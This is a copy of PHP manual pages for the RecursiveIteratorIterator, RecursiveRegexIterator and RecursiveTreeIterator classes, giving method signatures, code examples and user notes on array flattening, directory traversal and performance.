RecursiveIteratorIterator::LEAVES_ONLY

RecursiveIteratorIterator::SELF_FIRST

RecursiveIteratorIterator::CHILD_FIRST

RecursiveIteratorIterator::CATCH_GET_CHILD

Table of Contents

  • RecursiveIteratorIterator::beginChildren — Begin children
  • RecursiveIteratorIterator::beginIteration — Begin Iteration
  • RecursiveIteratorIterator::callGetChildren — Get children
  • RecursiveIteratorIterator::callHasChildren — Has children
  • RecursiveIteratorIterator::__construct — Construct a RecursiveIteratorIterator
  • RecursiveIteratorIterator::current — Access the current element value
  • RecursiveIteratorIterator::endChildren — End children
  • RecursiveIteratorIterator::endIteration — End Iteration
  • RecursiveIteratorIterator::getDepth — Get the current depth of the recursive iteration
  • RecursiveIteratorIterator::getInnerIterator — Get inner iterator
  • RecursiveIteratorIterator::getMaxDepth — Get max depth
  • RecursiveIteratorIterator::getSubIterator — The current active sub iterator
  • RecursiveIteratorIterator::key — Access the current key
  • RecursiveIteratorIterator::next — Move forward to the next element
  • RecursiveIteratorIterator::nextElement — Next element
  • RecursiveIteratorIterator::rewind — Rewind the iterator to the first element of the top level inner iterator
  • RecursiveIteratorIterator::setMaxDepth — Set max depth
  • RecursiveIteratorIterator::valid — Check whether the current position is valid

User Contributed Notes

gerry at king-foo dot be 11-Jun-2014 09:44
Carefull when using iterator_to_array(). Because it flattens down your subiterators, elements with the same keys will overwrite eachother.

For example:

<?php

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator([
        ['foo', 'bar'],
        ['baz', 'qux']
    ])
);

foreach ($iterator as $element) {
    echo $element;
}

?>

This will output all 4 elements as expected:

string(3) "foo"
string(3) "bar"
string(3) "baz"
string(3) "qux"

While doing:

<?php

var_dump(iterator_to_array($iterator));

?>

will output an array with only the last 2 elements:

array(2) {
  [0]=>
  string(3) "baz"
  [1]=>
  string(3) "qux"
}
fengdingbo at gmail dot com 21-Aug-2013 11:18
if you want traversal directory。
<?php
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator("./")) as $key=>$val)
{
    echo $key,"=>",$val,"\n";
}
?>
zlobnygrif at gmail dot com 16-Jul-2013 03:06
Some speed tests
<?php
$timer = function ($name = 'default', $unset_timer = TRUE)
{
    static $timers = array();

    if ( isset( $timers[ $name ] ) )
    {
        list($s_sec, $s_mic) = explode(' ', $timers[ $name ]);
        list($e_sec, $e_mic) = explode(' ', microtime());

        if ( $unset_timer )
            unset( $timers[ $name ] );

        return $e_sec - $s_sec + ( $e_mic - $s_mic );
    }

    $timers[ $name ] = microtime();
};

function f1 ($array) {
    $iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($array), RecursiveIteratorIterator::SELF_FIRST);

    foreach ( $iterator as $key => $value ) {
        if ( is_array($value) )
            continue;
    }
}

function f2($array) {
    foreach ( $array as $key => $value ) {
        if ( is_array($value) )
            f2($value);
    }
}

foreach ( [100, 1000, 10000, 100000, 1000000] as $num )
{
    $array = [];

    for ( $i = 0; ++$i < $num; )
        $array[] = [1,2,3=>[4,5,6=>[7,8,9=>10,11,12=>[13,14,15=>[16,17,18]]]]];

    $timer();
    f1($array);
    printf("RecursiveIteratorIterator: %7d elements -> %.3f sec\n", $num, $timer());

    $timer();
    f2($array);
    printf("Recursive function       : %7d elements -> %.3f sec\n", $num, $timer());
}

?>

Output (PHP 5.4.9-4ubuntu2.1 (cli) (built: Jun 11 2013 13:10:01))
=======================
RecursiveIteratorIterator:     100 elements -> 0.007 sec
Recursive function       :     100 elements -> 0.002 sec
RecursiveIteratorIterator:    1000 elements -> 0.036 sec
Recursive function       :    1000 elements -> 0.024 sec
RecursiveIteratorIterator:   10000 elements -> 0.425 sec
Recursive function       :   10000 elements -> 0.263 sec
RecursiveIteratorIterator:  100000 elements -> 8.153 sec
Recursive function       :  100000 elements -> 2.654 sec
RecursiveIteratorIterator: 1000000 elements -> 474.483 sec
Recursive function       : 1000000 elements -> 26.872 sec

For one million elements recursive function is more quickly!
Adil Baig @ AIdezigns 24-Jun-2011 08:17
A very important thing to note about \RecursiveIteratorIterator is that it returns a flattened array when used with the iterator_to_array function. Ex:

<?php
$arr = array('Zero', 'name'=>'Adil', 'address' => array( 'city'=>'Dubai', 'tel' => array('int' => 971, 'tel'=>12345487)), '' => 'nothing');

$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));
var_dump(iterator_to_array($iterator,true));
?>

This code will return :

array(6) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["city"]=>
  string(5) "Dubai"
  ["int"]=>
  int(91)
  ["tel"]=>
  int(12345487)
  [""]=>
  string(7) "nothing"
}

To get the non-flattened proper array use the getArrayCopy() method, like so :

$iterator->getArrayCopy()

This will return

array(4) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["address"]=>
  array(2) {
    ["city"]=>
    string(5) "Dubai"
    ["tel"]=>
    array(2) {
      ["int"]=>
      int(91)
      ["tel"]=>
      int(12345487)
    }
  }
  [""]=>
  string(7) "nothing"
}
Tom 06-Jan-2011 10:35
This class operates on a tree of elements, which is build by nesting recursive iterators into one another.

Thus you might say it is an iterator over iterators. While traversing those, the class pushes the iterators on a stack while traversing down to a leaf and removes them from the stack while going back up.
aidan at php dot net 30-Apr-2010 06:57
This example demonstrates using the getDepth() method with a RecursiveArrayIterator.

<?php
$tree = array();
$tree[1][2][3] = 'lemon';
$tree[1][4] = 'melon';
$tree[2][3] = 'orange';
$tree[2][5] = 'grape';
$tree[3] = 'pineapple';

print_r($tree);

$arrayiter = new RecursiveArrayIterator($tree);
$iteriter = new RecursiveIteratorIterator($arrayiter);

foreach ($iteriter as $key => $value) {
  $d = $iteriter->getDepth();
  echo "depth=$d k=$key v=$value\n";
}
?>

The output of this would be:

Array
(
    [1] => Array
        (
            [2] => Array
                (
                    [3] => lemon
                )

            [4] => melon
        )

    [2] => Array
        (
            [3] => orange
            [5] => grape
        )

    [3] => pineapple
)

depth=2 k=3 v=lemon
depth=1 k=4 v=melon
depth=1 k=3 v=orange
depth=1 k=5 v=grape
depth=0 k=3 v=pineapple
Michiel Brandenburg 15-Jun-2009 01:40
You can use this to quickly find all the files (recursively) in a certain directory. This beats maintaining a stack yourself.
<?php
$directory = "/tmp/";
$fileSPLObjects =  new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($directory),
                RecursiveIteratorIterator::CHILD_FIRST
            );
try {
    foreach( $fileSPLObjects as $fullFileName => $fileSPLObject ) {
        print $fullFileName . " " . $fileSPLObject->getFilename() . "\n";
    }
}
catch (UnexpectedValueException $e) {
    printf("Directory [%s] contained a directory we can not recurse into", $directory);
}
?>
Note: if there is a directory contained within the directory you are searching in that you have no access to read an UnexpectedValueException will be thrown (leaving you with an empty list).
Note: objects returned are SPLFileObjects
crashrox at gmail dot com 19-Dec-2008 06:51
Recursive multidimensional array flatten using SPL

<?php
function array_flatten_recursive($array) {
    if($array) {
        $flat = array();
        foreach(new RecursiveIteratorIterator(new RecursiveArrayIterator($array), RecursiveIteratorIterator::SELF_FIRST) as $key=>$value) {
            if(!is_array($value)) {
                $flat[] = $value;
            }
        }

        return $flat;
    } else {
        return false;
    }
}

$array = array(
    'A' => array('B' => array( 1, 2, 3, 4, 5)),
    'C' => array( 6,7,8,9)
);

print_r(array_flatten_recursive($array));
?>
-- Returns:
Array (
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
)


Begin children

  • « RecursiveIteratorIterator
  • RecursiveIteratorIterator::beginIteration »
  • PHP Manual
  • RecursiveIteratorIterator
  • Begin children

RecursiveIteratorIterator::beginChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::beginChildren — Begin children

Description

public void RecursiveIteratorIterator::beginChildren ( void )

Is called after calling RecursiveIteratorIterator::getChildren(), and its associated RecursiveIteratorIterator::rewind().

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Begin Iteration

  • « RecursiveIteratorIterator::beginChildren
  • RecursiveIteratorIterator::callGetChildren »
  • PHP Manual
  • RecursiveIteratorIterator
  • Begin Iteration

RecursiveIteratorIterator::beginIteration

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::beginIteration — Begin Iteration

Description

public void RecursiveIteratorIterator::beginIteration ( void )

Called when iteration begins (after the first RecursiveIteratorIterator::rewind() call.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Get children

  • « RecursiveIteratorIterator::beginIteration
  • RecursiveIteratorIterator::callHasChildren »
  • PHP Manual
  • RecursiveIteratorIterator
  • Get children

RecursiveIteratorIterator::callGetChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::callGetChildren — Get children

Description

public RecursiveIterator RecursiveIteratorIterator::callGetChildren ( void )

Get children of the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A RecursiveIterator().

User Contributed Notes

There are no user contributed notes for this page.


Has children

  • « RecursiveIteratorIterator::callGetChildren
  • RecursiveIteratorIterator::__construct »
  • PHP Manual
  • RecursiveIteratorIterator
  • Has children

RecursiveIteratorIterator::callHasChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::callHasChildren — Has children

Description

public bool RecursiveIteratorIterator::callHasChildren ( void )

Called for each element to test whether it has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the element has children, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


Construct a RecursiveIteratorIterator

  • « RecursiveIteratorIterator::callHasChildren
  • RecursiveIteratorIterator::current »
  • PHP Manual
  • RecursiveIteratorIterator
  • Construct a RecursiveIteratorIterator

RecursiveIteratorIterator::__construct

(PHP 5 >= 5.1.3)

RecursiveIteratorIterator::__construct — Construct a RecursiveIteratorIterator

Description

public RecursiveIteratorIterator::__construct ( Traversable $iterator [, int $mode = RecursiveIteratorIterator::LEAVES_ONLY [, int $flags = 0 ]] )

Creates a RecursiveIteratorIterator from a RecursiveIterator.

Parameters

iterator

The iterator being constructed from. Either a RecursiveIterator or IteratorAggregate.

mode

Optional mode. Possible values are

  • RecursiveIteratorIterator::LEAVES_ONLY - The default. Lists only leaves in iteration.
  • RecursiveIteratorIterator::SELF_FIRST - Lists leaves and parents in iteration with parents coming first.
  • RecursiveIteratorIterator::CHILD_FIRST - Lists leaves and parents in iteration with leaves coming first.

flags

Optional flag. Possible values are RecursiveIteratorIterator::CATCH_GET_CHILD which will then ignore exceptions thrown in calls to RecursiveIteratorIterator::getChildren().

Return Values

No value is returned.

Examples

Example #1 Iterating a RecursiveIteratorIterator

<?php
$array = array(
    array(
        array(
            array(
                'leaf-0-0-0-0',
                'leaf-0-0-0-1'
            ),
            'leaf-0-0-0'
        ),
        array(
            array(
                'leaf-0-1-0-0',
                'leaf-0-1-0-1'
            ),
            'leaf-0-1-0'
        ),
        'leaf-0-0'
    )
);

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator($array),
    $mode
);
foreach ($iterator as $key => $leaf) {
    echo "$key => $leaf", PHP_EOL;
}
?>

Output with $mode = RecursiveIteratorIterator::LEAVES_ONLY

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => leaf-0-0-0
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => leaf-0-1-0
0 => leaf-0-0

Output with $mode = RecursiveIteratorIterator::SELF_FIRST

0 => Array
0 => Array
0 => Array
0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
1 => leaf-0-0-0
1 => Array
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
1 => leaf-0-1-0
2 => leaf-0-0

Output with $mode = RecursiveIteratorIterator::CHILD_FIRST

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => Array
1 => leaf-0-0-0
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => Array
1 => leaf-0-1-0
1 => Array
2 => leaf-0-0
0 => Array

User Contributed Notes

Tom 06-Jan-2011 10:13
Note: the missing documentation of the argument list for this constructor is currently as follows (according to source code).

Param iter: see RecursiveIterator

Param mode:
- LEAVES_ONLY = (default) only iterate leaves
- SELF_FIRST = iterate parents prior to children
- CHILD_FIRST = iterate children prior to parents

Param flags:
- CATCH_GET_CHILD = ignore exceptions in getChildren() call
Matt Creenan 05-Mar-2010 06:39
Note that LEAVES_ONLY, SELF_FIRST and CHILD_FIRST do not work by themselves.

They are class constants so you need to use RecursiveIteratorIterator::LEAVES_ONLY, etc.


Access the current element value

  • « RecursiveIteratorIterator::__construct
  • RecursiveIteratorIterator::endChildren »
  • PHP Manual
  • RecursiveIteratorIterator
  • Access the current element value

RecursiveIteratorIterator::current

(PHP 5)

RecursiveIteratorIterator::current — Access the current element value

Description

public mixed RecursiveIteratorIterator::current ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current elements value.

User Contributed Notes

There are no user contributed notes for this page.


End children

  • « RecursiveIteratorIterator::current
  • RecursiveIteratorIterator::endIteration »
  • PHP Manual
  • RecursiveIteratorIterator
  • End children

RecursiveIteratorIterator::endChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::endChildren — End children

Description

public void RecursiveIteratorIterator::endChildren ( void )

Called when end recursing one level.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Tom 06-Jan-2011 10:20
According to the source code documentation, this function is not implemented.

It is used as a hook. You need to overwrite it in your derived class. Don't call it yourself, it is called automatically.

Documentation: Template method provided for overriding classes, called after an iteterator has been used up.
(Default implementation does nothing.)


End Iteration

  • « RecursiveIteratorIterator::endChildren
  • RecursiveIteratorIterator::getDepth »
  • PHP Manual
  • RecursiveIteratorIterator
  • End Iteration

RecursiveIteratorIterator::endIteration

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::endIteration — End Iteration

Description

public void RecursiveIteratorIterator::endIteration ( void )

Called when the iteration ends (when RecursiveIteratorIterator::valid() first returns FALSE.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Tom 06-Jan-2011 10:23
Some source code documentation that I found on this function currently says: Template method provided for overriding classes, default implementation does nothing.


Get the current depth of the recursive iteration

  • « RecursiveIteratorIterator::endIteration
  • RecursiveIteratorIterator::getInnerIterator »
  • PHP Manual
  • RecursiveIteratorIterator
  • Get the current depth of the recursive iteration

RecursiveIteratorIterator::getDepth

(PHP 5)

RecursiveIteratorIterator::getDepth — Get the current depth of the recursive iteration

Description

public int RecursiveIteratorIterator::getDepth ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current depth of the recursive iteration.

User Contributed Notes

There are no user contributed notes for this page.


Get inner iterator

  • « RecursiveIteratorIterator::getDepth
  • RecursiveIteratorIterator::getMaxDepth »
  • PHP Manual
  • RecursiveIteratorIterator
  • Get inner iterator

RecursiveIteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::getInnerIterator — Get inner iterator

Description

public iterator RecursiveIteratorIterator::getInnerIterator ( void )

Gets the current active sub iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current active sub iterator.

User Contributed Notes

There are no user contributed notes for this page.


Get max depth

  • « RecursiveIteratorIterator::getInnerIterator
  • RecursiveIteratorIterator::getSubIterator »
  • PHP Manual
  • RecursiveIteratorIterator
  • Get max depth

RecursiveIteratorIterator::getMaxDepth

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::getMaxDepth — Get max depth

Description

public mixed RecursiveIteratorIterator::getMaxDepth ( void )

Gets the maximum allowable depth.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The maximum accepted depth, or FALSE if any depth is allowed.

See Also

  • RecursiveIteratorIterator::setMaxDepth() - Set max depth

User Contributed Notes

There are no user contributed notes for this page.


The current active sub iterator

  • « RecursiveIteratorIterator::getMaxDepth
  • RecursiveIteratorIterator::key »
  • PHP Manual
  • RecursiveIteratorIterator
  • The current active sub iterator

RecursiveIteratorIterator::getSubIterator

(PHP 5)

RecursiveIteratorIterator::getSubIterator — The current active sub iterator

Description

public RecursiveIterator RecursiveIteratorIterator::getSubIterator ([ int $level ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Return Values

The current active sub iterator.

User Contributed Notes

There are no user contributed notes for this page.


Access the current key

  • « RecursiveIteratorIterator::getSubIterator
  • RecursiveIteratorIterator::next »
  • PHP Manual
  • RecursiveIteratorIterator
  • Access the current key

RecursiveIteratorIterator::key

(PHP 5)

RecursiveIteratorIterator::key — Access the current key

Description

public mixed RecursiveIteratorIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current key.

User Contributed Notes

There are no user contributed notes for this page.


Move forward to the next element

  • « RecursiveIteratorIterator::key
  • RecursiveIteratorIterator::nextElement »
  • PHP Manual
  • RecursiveIteratorIterator
  • Move forward to the next element

RecursiveIteratorIterator::next

(PHP 5)

RecursiveIteratorIterator::next — Move forward to the next element

Description

public void RecursiveIteratorIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Next element

  • « RecursiveIteratorIterator::next
  • RecursiveIteratorIterator::rewind »
  • PHP Manual
  • RecursiveIteratorIterator
  • Next element

RecursiveIteratorIterator::nextElement

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::nextElement — Next element

Description

public void RecursiveIteratorIterator::nextElement ( void )

Called when the next element is available.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the first element of the top level inner iterator

  • « RecursiveIteratorIterator::nextElement
  • RecursiveIteratorIterator::setMaxDepth »
  • PHP Manual
  • RecursiveIteratorIterator
  • Rewind the iterator to the first element of the top level inner iterator

RecursiveIteratorIterator::rewind

(PHP 5)

RecursiveIteratorIterator::rewind — Rewind the iterator to the first element of the top level inner iterator

Description

public void RecursiveIteratorIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set max depth

  • « RecursiveIteratorIterator::rewind
  • RecursiveIteratorIterator::valid »
  • PHP Manual
  • RecursiveIteratorIterator
  • Set max depth

RecursiveIteratorIterator::setMaxDepth

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::setMaxDepth — Set max depth

Description

public void RecursiveIteratorIterator::setMaxDepth ([ string $max_depth = -1 ] )

Set the maximum allowed depth.

Warning

This function is currently not documented; only its argument list is available.

Parameters

max_depth

The maximum allowed depth. -1 is used for any depth.

Return Values

No value is returned.

Errors/Exceptions

Emits an Exception if max_depth is less than -1.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current position is valid

  • « RecursiveIteratorIterator::setMaxDepth
  • RecursiveRegexIterator »
  • PHP Manual
  • RecursiveIteratorIterator
  • Check whether the current position is valid

RecursiveIteratorIterator::valid

(PHP 5)

RecursiveIteratorIterator::valid — Check whether the current position is valid

Description

public bool RecursiveIteratorIterator::valid ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the current position is valid, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveRegexIterator class

(PHP 5 >= 5.2.0)

Introduction

This recursive iterator can filter another recursive iterator via a regular expression.

Class synopsis

RecursiveRegexIterator extends RegexIterator implements RecursiveIterator {
/* Methods */
public __construct ( RecursiveIterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )
public RecursiveRegexIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherited methods */
public RecursiveIterator RecursiveIterator::getChildren ( void )
public bool RecursiveIterator::hasChildren ( void )
public bool RegexIterator::accept ( void )
public int RegexIterator::getFlags ( void )
public int RegexIterator::getMode ( void )
public int RegexIterator::getPregFlags ( void )
public string RegexIterator::getRegex ( void )
public void RegexIterator::setFlags ( int $flags )
public void RegexIterator::setMode ( int $mode )
public void RegexIterator::setPregFlags ( int $preg_flags )
}

Table of Contents

  • RecursiveRegexIterator::__construct — Creates a new RecursiveRegexIterator.
  • RecursiveRegexIterator::getChildren — Returns an iterator for the current entry.
  • RecursiveRegexIterator::hasChildren — Returns whether an iterator can be obtained for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new RecursiveRegexIterator.

  • « RecursiveRegexIterator
  • RecursiveRegexIterator::getChildren »
  • PHP Manual
  • RecursiveRegexIterator
  • Creates a new RecursiveRegexIterator.

RecursiveRegexIterator::__construct

(PHP 5 >= 5.2.0)

RecursiveRegexIterator::__construct — Creates a new RecursiveRegexIterator.

Description

public RecursiveRegexIterator::__construct ( RecursiveIterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )

Creates a new regular expression iterator.

Parameters

iterator

The recursive iterator to apply this regex filter to.

regex

The regular expression to match.

mode

Operation mode, see RegexIterator::setMode() for a list of modes.

flags

Special flags, see RegexIterator::setFlags() for a list of available flags.

preg_flags

The regular expression flags. These flags depend on the operation mode parameter:

RegexIterator preg_flags
operation mode | available flags
RecursiveRegexIterator::ALL_MATCHES | See preg_match_all().
RecursiveRegexIterator::GET_MATCH | See preg_match().
RecursiveRegexIterator::MATCH | See preg_match().
RecursiveRegexIterator::REPLACE | none.
RecursiveRegexIterator::SPLIT | See preg_split().

Examples

Example #1 RecursiveRegexIterator::__construct() example

Creates a new RegexIterator that filters all strings that start with 'test'.

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

    if ($rRegexIterator->hasChildren()) {

        // print all children
        echo "Children: ";
        foreach ($rRegexIterator->getChildren() as $key => $value) {
            echo $value . " ";
        }
        echo "\n";
    } else {
        echo "No children\n";
    }

}
?>

The above example will output something similar to:

No children
Children: test4 test5

See Also

  • preg_match() - Perform a regular expression match
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression

User Contributed Notes

SongoQ 28-Oct-2009 08:22
RecursiveRegexIterator::ALL_MATCHES List all subdirectories and files.

<?php

$a = new RecursiveRegexIterator( new RecursiveDirectoryIterator(
'/home/songoq' ), '/mydir/i', RecursiveRegexIterator::ALL_MATCHES );

foreach( new RecursiveIteratorIterator( $a ) as $s )
{
       echo $s."\n";
}


Returns an iterator for the current entry.

  • « RecursiveRegexIterator::__construct
  • RecursiveRegexIterator::hasChildren »
  • PHP Manual
  • RecursiveRegexIterator
  • Returns an iterator for the current entry.

RecursiveRegexIterator::getChildren

(PHP 5 >= 5.2.0)

RecursiveRegexIterator::getChildren — Returns an iterator for the current entry.

Description

public RecursiveRegexIterator RecursiveRegexIterator::getChildren ( void )

Returns an iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

An iterator for the current entry, if it can be iterated over by the inner iterator.

Errors/Exceptions

An InvalidArgumentException will be thrown if the current entry does not contain a value that can be iterated over by the inner iterator.

Examples

Example #1 RecursiveRegexIterator::getChildren() example

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

    if ($rRegexIterator->hasChildren()) {

        // print all children
        echo "Children: ";
        foreach ($rRegexIterator->getChildren() as $key => $value) {
            echo $value . " ";
        }
        echo "\n";
    } else {
        echo "No children\n";
    }

}
?>

The above example will output:

No children
Children: test4 test5

See Also

  • RecursiveRegexIterator::hasChildren() - Returns whether an iterator can be obtained for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether an iterator can be obtained for the current entry.

  • « RecursiveRegexIterator::getChildren
  • RecursiveTreeIterator »
  • PHP Manual
  • RecursiveRegexIterator
  • Returns whether an iterator can be obtained for the current entry.

RecursiveRegexIterator::hasChildren

(PHP 5 >= 5.2.0)

RecursiveRegexIterator::hasChildren — Returns whether an iterator can be obtained for the current entry.

Description

public bool RecursiveRegexIterator::hasChildren ( void )

Returns whether an iterator can be obtained for the current entry. This iterator can be obtained via RecursiveRegexIterator::getChildren().

Parameters

This function has no parameters.

Return Values

Returns TRUE if an iterator can be obtained for the current entry, otherwise returns FALSE.

Examples

Example #1 RecursiveRegexIterator::hasChildren() example

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $value) {
    var_dump($rRegexIterator->hasChildren());
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • RecursiveRegexIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveTreeIterator class

(PHP 5 >= 5.3.0)

Introduction

Allows iterating over a RecursiveIterator to generate an ASCII graphic tree.

Class synopsis

RecursiveTreeIterator extends RecursiveIteratorIterator implements OuterIterator {
/* Constants */
const integer BYPASS_CURRENT = 4 ;
const integer BYPASS_KEY = 8 ;
const integer PREFIX_LEFT = 0 ;
const integer PREFIX_MID_HAS_NEXT = 1 ;
const integer PREFIX_MID_LAST = 2 ;
const integer PREFIX_END_HAS_NEXT = 3 ;
const integer PREFIX_END_LAST = 4 ;
const integer PREFIX_RIGHT = 5 ;
/* Methods */
public void beginChildren ( void )
public RecursiveIterator beginIteration ( void )
public RecursiveIterator callGetChildren ( void )
public bool callHasChildren ( void )
public __construct ( RecursiveIterator|IteratorAggregate $it [, int $flags = RecursiveTreeIterator::BYPASS_KEY [, int $cit_flags = CachingIterator::CATCH_GET_CHILD [, int $mode = RecursiveIteratorIterator::SELF_FIRST ]]] )
public string current ( void )
public void endChildren ( void )
public void endIteration ( void )
public string getEntry ( void )
public void getPostfix ( void )
public string getPrefix ( void )
public string key ( void )
public void next ( void )
public void nextElement ( void )
public void rewind ( void )
public void setPrefixPart ( int $part , string $value )
public bool valid ( void )
/* Inherited methods */
public void RecursiveIteratorIterator::beginChildren ( void )
public void RecursiveIteratorIterator::beginIteration ( void )
public RecursiveIterator RecursiveIteratorIterator::callGetChildren ( void )
public bool RecursiveIteratorIterator::callHasChildren ( void )
public RecursiveIteratorIterator::__construct ( Traversable $iterator [, int $mode = RecursiveIteratorIterator::LEAVES_ONLY [, int $flags = 0 ]] )
public mixed RecursiveIteratorIterator::current ( void )
public void RecursiveIteratorIterator::endChildren ( void )
public void RecursiveIteratorIterator::endIteration ( void )
public int RecursiveIteratorIterator::getDepth ( void )
public iterator RecursiveIteratorIterator::getInnerIterator ( void )
public mixed RecursiveIteratorIterator::getMaxDepth ( void )
public RecursiveIterator RecursiveIteratorIterator::getSubIterator ([ int $level ] )
public mixed RecursiveIteratorIterator::key ( void )
public void RecursiveIteratorIterator::next ( void )
public void RecursiveIteratorIterator::nextElement ( void )
public void RecursiveIteratorIterator::rewind ( void )
public void RecursiveIteratorIterator::setMaxDepth ([ string $max_depth = -1 ] )
public bool RecursiveIteratorIterator::valid ( void )
}

Predefined Constants

RecursiveTreeIterator::BYPASS_CURRENT

RecursiveTreeIterator::BYPASS_KEY

RecursiveTreeIterator::PREFIX_LEFT

RecursiveTreeIterator::PREFIX_MID_HAS_NEXT

RecursiveTreeIterator::PREFIX_MID_LAST

RecursiveTreeIterator::PREFIX_END_HAS_NEXT

RecursiveTreeIterator::PREFIX_END_LAST

RecursiveTreeIterator::PREFIX_RIGHT

Table of Contents

  • RecursiveTreeIterator::beginChildren — Begin children
  • RecursiveTreeIterator::beginIteration — Begin iteration
  • RecursiveTreeIterator::callGetChildren — Get children
  • RecursiveTreeIterator::callHasChildren — Has children
  • RecursiveTreeIterator::__construct — Construct a RecursiveTreeIterator
  • RecursiveTreeIterator::current — Get current element
  • RecursiveTreeIterator::endChildren — End children
  • RecursiveTreeIterator::endIteration — End iteration
  • RecursiveTreeIterator::getEntry — Get current entry
  • RecursiveTreeIterator::getPostfix — Get the postfix
  • RecursiveTreeIterator::getPrefix — Get the prefix
  • RecursiveTreeIterator::key — Get the key of the current element
  • RecursiveTreeIterator::next — Move to next element
  • RecursiveTreeIterator::nextElement — Next element
  • RecursiveTreeIterator::rewind — Rewind iterator
  • RecursiveTreeIterator::setPrefixPart — Set a part of the prefix
  • RecursiveTreeIterator::valid — Check validity

User Contributed Notes

There are no user contributed notes for this page.


Begin children

  • « RecursiveTreeIterator
  • RecursiveTreeIterator::beginIteration »
  • PHP Manual
  • RecursiveTreeIterator
  • Begin children

RecursiveTreeIterator::beginChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::beginChildren — Begin children

Description

public void RecursiveTreeIterator::beginChildren ( void )

Called when recursing one level down.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Begin iteration

  • « RecursiveTreeIterator::beginChildren
  • RecursiveTreeIterator::callGetChildren »
  • PHP Manual
  • RecursiveTreeIterator
  • Begin iteration

RecursiveTreeIterator::beginIteration

(PHP 5 >= 5.3.0)

